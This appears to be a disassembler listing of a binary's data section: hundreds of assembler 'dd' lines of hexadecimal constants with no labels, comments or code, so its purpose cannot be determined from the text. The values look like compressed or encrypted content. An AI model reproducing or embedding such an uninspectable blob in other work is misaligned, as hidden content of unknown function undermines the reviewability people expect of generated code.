		dd 36383420h, 0B6587644h, 630011ECh, 0B5C2EF75h, 14302B01h
		dd 0ECFA5390h, 2E0F323Ch, 0FD660D4h, 80BDCAE7h,	7257865Fh
		dd 2DE06269h, 63614200h, 6E45206Bh, 3568005Eh, 56A47A57h
		dd 3400291Ch, 505B7660h, 695D03h, 2F856D75h, 0D4309401h
		dd 535E3Ah, 0C2E349BCh,	436517h, 0B6B2BE1Ch, 6D90B56Eh
		dd 58007298h, 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h
		dd 11905098h, 4D002809h, 8C27646Fh, 295525h, 0A534482Ch
		dd 0CD9AFAD8h, 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h
		dd 4264A128h, 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h
		dd 0A87C4027h, 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh
		dd 0E0B9C45Eh, 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh
		dd 69E0BF80h, 8DD4468Ah, 0A074020Eh, 50137D09h,	0B01E005Ch
		dd 114B9487h, 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h
		dd 0B0481732h, 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh
		dd 479430Bh, 4CCA7831h,	2000E698h, 76324D58h, 0EE476113h
		dd 957C002Eh, 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh
		dd 584D5Ah, 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h
		dd 7850B346h, 9443072Ch, 117ABC49h, 0C0F78498h,	3000540h
		dd 8788021h, 0E8F0110h,	0EAA90750h, 0FE09BBC1h,	0E9D260CAh
		dd 0B1793113h, 2078E700h, 3E429C7Ah, 8880C6C1h,	0C0219829h
		dd 832E084Eh, 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h
		dd 5B0799F3h, 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh
		dd 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h, 875C1175h,	88649002h
		dd 0E353798Ch, 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h
		dd 84790F3Ch, 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh
		dd 290E5228h, 7972E820h, 22351803h, 0B985ADF4h,	8AE04B2Dh
		dd 302C0ED4h, 0DC60A9D3h, 32FC3143h, 33F98700h,	0F124E50Bh
		dd 0F57C03CBh, 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h
		dd 3955E8h, 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah
		dd 76968CBh, 587F8470h,	0C3E4435Ch, 6007E8C3h, 0EC100146h
		dd 6404B290h, 0F0F251h,	725411D8h, 736E6103h, 74656D00h
		dd 437C19B6h, 775727Bh,	0DC34916Fh, 54CC429Dh, 8AABD540h
		dd 320B9501h, 5C19580Ch, 0F8EB60D1h, 984662A5h,	0C627018Eh
		dd 86774B85h, 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h
		dd 3641378h, 45287C14h,	780521Fh, 0DC008496h, 0E8C0C68Fh
		dd 570400ABh, 32517353h, 76765652h, 0FAB32F04h,	218068DBh
		dd 1624884h, 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h
		dd 559F8CC0h, 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h
		dd 1E69EF12h, 90493B9Eh, 0AF942785h, 70FE808Dh,	331F8471h
		dd 41C069EBh, 0D6874F9h, 94101C38h, 0A3634724h,	30451ABh
		dd 9152E4EBh, 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h
		dd 102A6461h, 0EB024124h, 8248110Eh, 0F8832080h, 9565095h
		dd 0B657E90Eh, 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh,	8C463F4Fh
		dd 1A029100h, 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh
		dd 0C1007B69h, 873DF441h, 50D3622h, 3E25C889h, 4B8C042h
		dd 0F03F6373h, 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h
		dd 0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh
		dd 30B62A12h, 1A93867h,	59510A0Fh, 658FA0B8h, 1C1745FEh
		dd 7F06BD80h, 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah
		dd 2B52A19h, 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h
		dd 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h
		dd 0C114EE6Ah, 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h
		dd 282993h, 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h
		dd 4B829AEh, 2B641F03h,	0B6AB8072h, 0BEE8BA08h,	0C3CDCFBh
		dd 0C2408E03h, 83CA81C6h, 8705E0CEh, 18ED009Ah,	4C331E45h
		dd 48000666h, 10EBC1F6h, 18F44E0Fh, 0AECF25AAh,	4301B738h
		dd 1E3F7EA1h, 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh
		dd 157AE66Bh, 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h
		dd 5B7A592Ah, 19CD58A8h, 8C55D800h, 0E89F51B9h,	0B7280016h
		dd 5CBA0B4Eh, 4801FBC9h
		dd 1B8D108Bh, 0A6D8E974h, 0FC7540h, 0AD9B914h, 354A5C20h
		dd 44008874h, 73102B74h, 7658B2AEh, 0BC30E717h,	1C0D0059h
		dd 0EBB0404Bh, 1A075E65h, 21322A54h, 0ACA41040h, 0B34500A7h
		dd 0B4114E6Ch, 98F019C9h, 9C3040BDh, 1E5700B6h,	8C3DA1BCh
		dd 0C000BEA0h, 7D258D13h, 73B30A2h, 0B5F8FB8Bh,	0C0FA67A3h
		dd 22C33657h, 0D2C94D00h, 8CBFECFh, 17AB0082h, 0EA34DC5Dh
		dd 87002C45h, 597E294Bh, 1184A1Bh, 0BA9444CBh, 0F732B937h
		dd 78921207h, 6E9473E4h, 3582CA09h, 0B1404D54h,	30FD3896h
		dd 285C0CFCh, 83090115h, 5054A4C4h, 0FECB59C4h,	0B08D0016h
		dd 0BA2DC935h, 7E0EEE24h, 0C0501FCFh, 0A016484Fh, 5EA30096h
		dd 8771D7D4h, 0D87E85F4h, 1CDC0800h, 0B1569FA2h, 869400E4h
		dd 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh, 1100B26h, 3D801499h
		dd 2AE15B18h, 0A4EFB0h,	98CE92BFh, 7E591277h, 0B409C401h
		dd 25A656A3h, 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh
		dd 99C0A543h, 0DF09D611h, 0BEE85C10h, 0F101330Fh, 3BFFA6Eh
		dd 221A390Ah, 0F8442AA9h, 0EB00883Ch, 5C61976h,	2601E7A0h
		dd 0FA96DE5h, 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h
		dd 0E65B800h, 391048BCh, 0CC00059h, 0C4908529h,	156719C8h
		dd 54F02006h, 722CCh, 3209D081h, 0CB60C41Bh, 4F2EAA00h
		dd 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh
		dd 923B5F00h, 0FC0A7185h, 0D27E9564h, 0F02CF406h, 0B7EC0076h
		dd 0DFFE3862h, 6A3E4307h, 0E432005Bh, 0DDE01472h, 42120045h
		dd 2934CC06h, 1EE42D83h, 5C1A0102h, 0E0406F2Ch,	0B0A26E1Ch
		dd 0C5CC00C3h, 0ED540C51h, 0E7A9333h, 8DA56600h, 9D35EF40h
		dd 14EEAE8h, 8FDDCEEAh,	0D4C709D2h, 0C60FE099h,	0E02AB67Ah
		dd 0D62B49AEh, 2F580051h, 3DC255D0h, 11DBD03h, 0DC005C77h
		dd 64BCD3B7h, 0F9532610h, 80FD0001h, 870D048Fh,	0BF2A9E03h
		dd 0A04FA86Bh, 0AC6865h, 40C683D1h, 0B0F8608h, 1448C0EEh
		dd 0A5AD0063h, 642D24FBh, 580203F5h, 76DB850Ch,	21C144C0h
		dd 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah, 56107005h,	3D0C36E3h
		dd 0DF5144D8h, 6E297A00h, 8833022Bh, 75080042h,	1643C394h
		dd 0E047953h, 122147E8h, 7F90B6C0h, 519800A2h, 2E1E25E2h
		dd 8000F6F0h, 0DD3C7869h, 1D2A38D2h, 55204h, 0C981D868h
		dd 7E0010B4h, 0BFEB6582h, 3BB0925h, 4B594CE0h, 56A8F05Ah
		dd 72006116h, 48ADF846h, 2D9F7Bh, 4BE70193h, 0D7A7D4FBh
		dd 7906C3Eh, 0E46EF854h, 0DDEBBD51h, 703AC70h, 44BCCCF7h
		dd 78E6304Bh, 11007F6Fh, 64DFCEE9h, 731724B4h, 886A0758h
		dd 0D06023D6h, 0C4709472h, 0BE27D21Fh, 68950C0h, 4F0CAEh
		dd 2F22F114h, 244EC8DDh, 0E4082112h, 8C6C8000h,	2CFEF084h
		dd 0CAEE65h, 1625DCF4h,	3400AA11h, 6A9488F3h, 0ABCF4Fh
		dd 54801B6Ch, 7765AD7Bh, 31C56800h, 2C59958Dh, 57EF1DB0h
		dd 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh, 0EBD0DC69h,	3A294100h
		dd 8D8263BCh, 0F87885h,	1975809Ah, 92D2FCF4h, 0D1411300h
		dd 0FEEC5D43h, 9DD000E4h, 5F0B0879h, 50E41E5Bh,	856D7100h
		dd 0F7659784h, 1294004Ah, 2224CA1Dh, 5C0B0810h,	80727453h
		dd 0A5AB2D16h, 0ED750027h, 6918A4E4h, 0C0008906h, 0A7BBA8A9h
		dd 4A82BEh, 30145D0Dh, 6D6F431Ch, 34876500h, 712C0A73h
		dd 880B39ECh, 0C170C400h, 0D34E7909h, 8064523Fh, 2BD01884h
		dd 0BA40F22h, 28447291h, 4C9D7B80h, 0D30E3770h,	0E0D8A5BBh
		dd 25876C33h, 927900DEh, 12633018h, 0C848D48Bh,	0ACBC00F4h
		dd 178DB6C4h, 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h
		dd 24985980h, 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh
		dd 0E445400h, 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h
		dd 0E0F82930h, 27D8ABF2h, 87640018h, 6BC58E6Dh,	0C8F72873h
		dd 0B200D142h, 0B14F2610h, 9055E5h, 947AC427h, 814475Ah
		dd 0D6D18001h, 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h
		dd 90E34B16h, 0DCC47F00h, 7C44D148h, 0ABF07EDh,	40B36965h
		dd 12B47542h, 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h
		dd 8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h
		dd 31A1866h, 88104619h,	0C8064301h, 1890141Bh, 2E9104E0h
		dd 73A381Ch, 50AE961Ah,	0D27CB865h, 29339F00h, 13AB9C4Ah
		dd 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h, 53588011h
		dd 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh
		dd 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h
		dd 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh
		dd 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h,	0F188A18Bh
		dd 5562D0h, 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h
		dd 32A5251h, 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h
		dd 38A473h, 0C29887E9h,	145A52E6h, 369FB40Eh, 0BF2B0Fh
		dd 8E1F3EACh, 471000Bh,	0FD27CCFEh, 5F01AF12h, 38EA1CD1h
		dd 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h
		dd 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h
		dd 69DE7503h, 0FA99554Bh, 3654E00Ch, 2B4300AFh,	0A5D4459Fh
		dd 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh
		dd 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh
		dd 0C0E0047h, 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h
		dd 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h,	686C6Ah
		dd 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h
		dd 4FDF77E3h, 290024ABh, 48165D4Bh, 0B00C06C3h,	0CE090C9Ch
		dd 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h
		dd 6CC1EBCEh, 595C2300h, 0E26A90E5h, 3A8100A0h,	2E1977D0h
		dd 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h
		dd 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h,	2E10033h
		dd 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h
		dd 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h
		dd 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh
		dd 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh
		dd 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h,	0B95E882Fh
		dd 12760391h, 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h
		dd 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh
		dd 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h
		dd 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h
		dd 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h
		dd 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah
		dd 115F00D0h, 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h
		dd 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h,	0BE0092ADh
		dd 1D8D70EBh, 661A1D98h, 850580D6h, 28215346h, 4D75E207h
		dd 40903E9Ch, 6132CBh, 6F881931h, 0E655697h, 6AE91F05h
		dd 0D60E03AEh, 0C622E005h, 0AB2550h, 121DA511h,	0AF0A5406h
		dd 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h
		dd 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h
		dd 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h
		dd 54015DE7h, 0C0A38C1Bh
		dd 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh, 0B8F0D860h, 0C4DA1400h
		dd 5309FF65h, 5AEE0Fh, 0AA2BBB25h, 0A4290532h, 44EC3700h
		dd 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h, 5800EF32h,	19F7EAA7h
		dd 0F8BD7076h, 223B00D7h, 2C683603h, 2E008D66h,	0C74543E4h
		dd 0EA8271h, 7802F45Fh,	33CAE055h, 0BD49F300h, 30AE2040h
		dd 17DC0053h, 0E251606Fh, 230722D8h, 68D413C0h,	0DEE7A627h
		dd 0D0C4A3E0h, 6F730348h, 9BCCA251h, 8FE87AEBh,	763BC812h
		dd 1AF50710h, 0B7D7C429h, 0C0F1A8D1h, 0C81BD3FCh, 0B8C0BC4Eh
		dd 77C1D05Fh, 0B4451F9Eh, 1E42B036h, 4303B022h,	148D7A37h
		dd 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh, 5F4DA4D1h,	884740BDh
		dd 0DEB790A0h, 0C19C4CC8h, 12E74398h, 0A5691094h, 0F75C2C00h
		dd 84DA04D8h, 12EEFE4Eh, 7BFD5C4h, 943DA9ACh, 61BBC007h
		dd 40004E70h, 2571626Bh, 3B691C65h, 0FF007775h,	57ADCC67h
		dd 0BC002C9Eh, 0DAE74272h, 0C34316h, 0EB22354Eh, 1D6CD5CCh
		dd 13D895h, 3768B8B9h, 0C5648DBh, 0D8BD0B00h, 41FA4E4h
		dd 5FE800D6h, 0E3FE0146h, 0E2F4297Eh, 0F44D6200h, 17B11E9Ch
		dd 0A5C00ACh, 4FF2C727h, 1B002910h, 0DA6CB74Ah,	3E3BA908h
		dd 5F8346C2h, 0EE58E276h, 515EB5E0h, 30E1F43Ah,	3E1378D4h
		dd 0A8BC0020h, 0DA9057A2h, 8504DC36h, 341D0425h, 53DD6FC0h
		dd 0F982008Fh, 0E9A7AAA3h, 4B005DC9h, 5B30D398h, 78E83Dh
		dd 0F7700651h, 0D91E148h, 0A3184700h, 3D83438Ch, 0C9FEA2h
		dd 0ECC28EF4h, 0DBF12124h, 3A14538h, 6838801Ah,	0AAAA875h
		dd 94431FFDh, 6E90004h,	0C525A2D9h, 0E88660E3h,	2AD0AF60h
		dd 0FC2336h, 6E3BBF7h, 1DF8682Fh, 0A0F4EA00h, 86C42B13h
		dd 0A11C0721h, 0C1768528h, 0F4176984h, 7007A41h, 954DBE5h
		dd 0B44AE3h, 9E151AA0h,	0CA2B89B6h, 458BD401h, 952AA2B8h
		dd 1D6B0F20h, 40E2F343h, 4B2FDC3Dh, 970192FBh, 7C67F55Dh
		dd 71F07908h, 89AF0F84h, 34228CD4h, 0E3E35465h,	87EB50EBh
		dd 25FF16F8h, 0C0F84400h, 1C401099h, 478E003Ch,	91342338h
		dd 2C00C830h, 247228E4h, 0E21C2039h, 18412D8Eh,	3F30D4h
		dd 0A4C4B4A6h, 3E6D29DDh, 5002814h, 94E8F35Ah, 0B5F2BF4Fh
		dd 8404D000h, 0B05F76D2h, 0C9440081h, 5DA1708Ah, 8000FC01h
		dd 2EFF0B7Ch, 0FED175h,	7D3944BDh, 4C740482h, 9B3FEB00h
		dd 7B8AF19h, 0D0C10080h, 40B2E937h, 13009839h, 29D8B60Fh
		dd 3BF7750Ah, 5C0AE0BFh, 1E964E35h, 0CB02C121h,	0E8A5E983h
		dd 410072FBh, 880F7F0Ch, 2402C4Ch, 75CAFE0Dh, 0AFC0DAA3h
		dd 0B10023F9h, 6E22DDABh, 0B540F6h, 51E29456h, 2DC5BE53h
		dd 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h
		dd 8205D4ADh, 4A10700h,	182B376Ch, 1688006Bh, 22F35EDEh
		dd 531C4FD7h, 0EDD2C220h, 7998B900h, 28FF6B26h,	0BC2CA6h
		dd 0C7031E14h, 0A406D950h, 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h
		dd 422ABE3h, 2C71C582h,	0E4888032h, 8900141Fh, 2E051043h
		dd 1060Ch, 667F6854h, 3D53004h,	0DF6EC800h, 0C6097D60h
		dd 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh
		dd 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh, 96700AD8h
		dd 0E7AE3507h, 4FE05A14h, 3E2016ACh, 180A9FBh, 0A897E8ECh
		dd 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h, 0C8ACF047h
		dd 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh
		dd 2E35A6A0h, 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h
		dd 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h,	0B204D085h
		dd 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h
		dd 0CCE1A300h, 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh
		dd 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h
		dd 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh
		dd 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h
		dd 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh
		dd 4AB68000h, 18201514h, 7AA20C01h, 4352DF90h, 973477E5h
		dd 9CE47Dh, 0E8C28B30h,	0A73D322Ah, 16032500h, 59396491h
		dd 0B66E390Ch, 0FE701080h, 131ED48h, 87E86700h,	46BA44Dh
		dd 88E422h, 0A8903419h,	80282429h, 0E0103D02h, 0C0135074h
		dd 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h
		dd 2E4E9980h, 92D0006Fh, 40A5C779h, 0D400CF7Fh,	64882238h
		dd 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h
		dd 1CF5CD4h, 5ABB4A3Ch,	307B71ABh, 8000019Ch, 742DFC78h
		dd 0B8D71Eh, 135DB2A4h,	0DE2F0451h, 4F5A8000h, 0E16A88C6h
		dd 34E252h, 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h
		dd 1E58595Bh, 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h
		dd 0EB3F19A8h, 8AE705h,	0BC84A663h, 5C766AE1h, 0E810C004h
		dd 0FAC04607h, 12D11Bh,	47653D1Dh, 0E688554h, 8ECE3EFAh
		dd 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h
		dd 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h
		dd 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh
		dd 0DF61EB7Fh, 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h
		dd 6E200775h, 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h
		dd 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h
		dd 3B498700h, 92F0D5AFh, 29F700FBh, 0EFE388C5h,	0FC00A23Ch
		dd 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h
		dd 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h
		dd 0A75D253h, 0A54494h,	0E38F8BDDh, 49F3C755h, 3CF8F970h
		dd 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh
		dd 8D49D2h, 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h
		dd 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch
		dd 1C3AF04Fh, 40885BEDh, 0B047DE9Ah, 1509A1E2h,	14008E4h
		dd 205450DEh, 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h
		dd 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h
		dd 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h
		dd 3B63F059h, 3EC3064h,	0C429C314h, 77BB4418h, 0F622CAF0h
		dd 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh
		dd 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh
		dd 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h
		dd 6D07C861h, 205C8725h, 0F4FBFFE0h, 88090028h,	7F977553h
		dd 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h
		dd 0F3781600h, 616CC82Fh, 6E3E0069h, 68631D3Bh,	1F0072D6h
		dd 493DC024h, 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh
		dd 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah
		dd 0F627561Eh, 53F45881h, 97E47D91h, 70830F7Eh,	8525E6C8h
		dd 5FE983C9h, 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h
		dd 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h,	4CE7A3B8h
		dd 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h
		dd 881400F3h, 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h
		dd 701AAF0h, 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h
		dd 0AF81910h, 0F36FE29h, 0CA08C060h, 2D81CC69h,	0F42B2C05h
		dd 957D5A64h, 4D282703h
		dd 0B81DD9E2h, 0E46EC161h, 0A560073h, 70DDB898h, 663F5269h
		dd 804036Ch, 0A04650A1h, 0EC37Ch, 0B6D7EBE8h, 8D8157B4h
		dd 320780E2h, 1C54B09Ch, 1E0E405Eh, 0F194E9F5h,	154FD0FBh
		dd 73E3B06Bh, 483C019Ah, 743E7F6h, 670C86Fh, 44ED7900h
		dd 5D977854h, 3484000Ah, 5817DAF9h, 0D40AF791h,	0E57538A0h
		dd 0A26D2A00h, 717464h,	8D704C52h, 453CAE72h, 39403Ch
		dd 0D05F5089h, 5BBD94h,	75488555h, 7D8AF9F6h, 742FE73Fh
		dd 0FEFFF800h, 173EF82h, 2E90B63h, 0F38065D9h, 888B1BA0h
		dd 956F7400h, 28692C91h, 0DF034C5Ah, 0D91FE905h, 92038099h
		dd 2000686Ah, 0FD858D55h, 0B8BE81DFh, 0D8F60B3Ah, 8500A101h
		dd 492F8A7Eh, 57281707h, 1DC095ECh, 750A5B9h, 16294A7Bh
		dd 5FB43025h, 0AB0090EAh, 0C449C60Eh, 1AD93680h, 404C6728h
		dd 8DE959E0h, 8E73297Bh, 592D3Bh, 0FB3AE571h, 4E182Ah
		dd 0C9825CA6h, 0F51A8D89h, 0F0FC8700h, 5768BDA2h, 9F7A3C96h
		dd 0F8423180h, 49BF14EAh, 1DEB1903h, 0C388C892h, 0FB83AB90h
		dd 57ED00Ch, 61300FB8h,	0E7E0558Dh, 0AF918696h,	0C32D321Dh
		dd 82C8C0CAh, 60C4A00h,	26D858Ah, 25ECB5BBh, 18E01844h
		dd 6E00EB2Ch, 0A7D04936h, 1D28E6h, 1AC83C42h, 0CB24C90h
		dd 2958241Eh, 399E82C0h, 76481730h, 2E2D0064h, 0EB50B11Ch
		dd 8E00BBD6h, 0BD800A65h, 0B88269h, 203FFA6Ch, 0BADAF8Bh
		dd 4B214E01h, 0E15E0CB3h, 0E73ECh, 804F3332h, 6B447629h
		dd 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h, 0B0200B5h, 5EEB8C68h
		dd 4500DA0Fh, 0EAFF8995h, 78E9AF74h, 55A7011Dh,	598AC47h
		dd 5C06607Dh, 4B00DAF2h, 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h
		dd 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h, 689D3B00h, 0A879AF2Fh
		dd 1CC9043h, 0CB8588Ah,	0E4E54020h, 0C17CA7C8h,	0AF7A4807h
		dd 0E9C0D90Fh, 1F64F5A4h, 6629EEh, 8F100E8Ah, 500A5ECh
		dd 3101B9EDh, 3EA263D5h, 0D803C6Dh, 0B4E14CDAh,	61003FECh
		dd 0AFBC683Eh, 40DB14h,	9E97E805h, 0F77BF6FDh, 0ECCC1112h
		dd 14F45A00h, 0F816A037h, 0D8450084h, 9F89AB25h, 0D97906BAh
		dd 0B8EE6902h, 43F28D4Bh, 0B794E063h, 10520220h, 0F3D76D7Bh
		dd 770E8960h, 9DD96900h, 0ECE4AF02h, 24F57945h,	4A9216h
		dd 6ABE5A7Ch, 2C704ED1h, 4F880E00h, 5122036Eh, 72710066h
		dd 5660A06Dh, 64002567h, 21F8966Ch, 79C9534Fh, 8A936734h
		dd 458EDE1Eh, 25AFB4A0h, 0F700ABD4h, 0EDCF16D5h, 784AEA7h
		dd 31EFBB83h, 0B09E6039h, 0BA00280Dh, 69B1EDE4h, 50FC60h
		dd 1DA2838Bh, 0C64507FDh, 9012DD00h, 0BCC8B01Ah, 21C01E11h
		dd 22C44FACh, 0CC21F032h, 0A4D04400h, 0D8D44086h, 0CA00189h
		dd 12E081DCh, 0C03E719Ch, 680084E8h, 90B48521h,	3F032ECh
		dd 0D51AC435h, 8BD86CB0h, 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h
		dd 0D6C447h, 0F84E2EEDh, 951B3C8h, 70C47550h, 25290209h
		dd 0CBAD8078h, 0FE32AD61h, 42140063h, 50628864h, 8E676973h
		dd 3F838A10h, 937C9C5h,	8FBC4h,	50C15C6Bh, 0A685EF41h
		dd 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h, 434838CFh
		dd 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h, 0C819F8E9h
		dd 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h,	4E62B8Eh
		dd 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h,	0D427012Fh
		dd 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch
		dd 753AAC68h, 0CCA16D48h, 81003CEFh, 266AFBD7h,	0A09C4Ch
		dd 420D312Dh, 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h
		dd 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh
		dd 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h, 8F010h
		dd 8C022249h, 53140446h, 38838001h, 2F26D49Eh, 206A30h
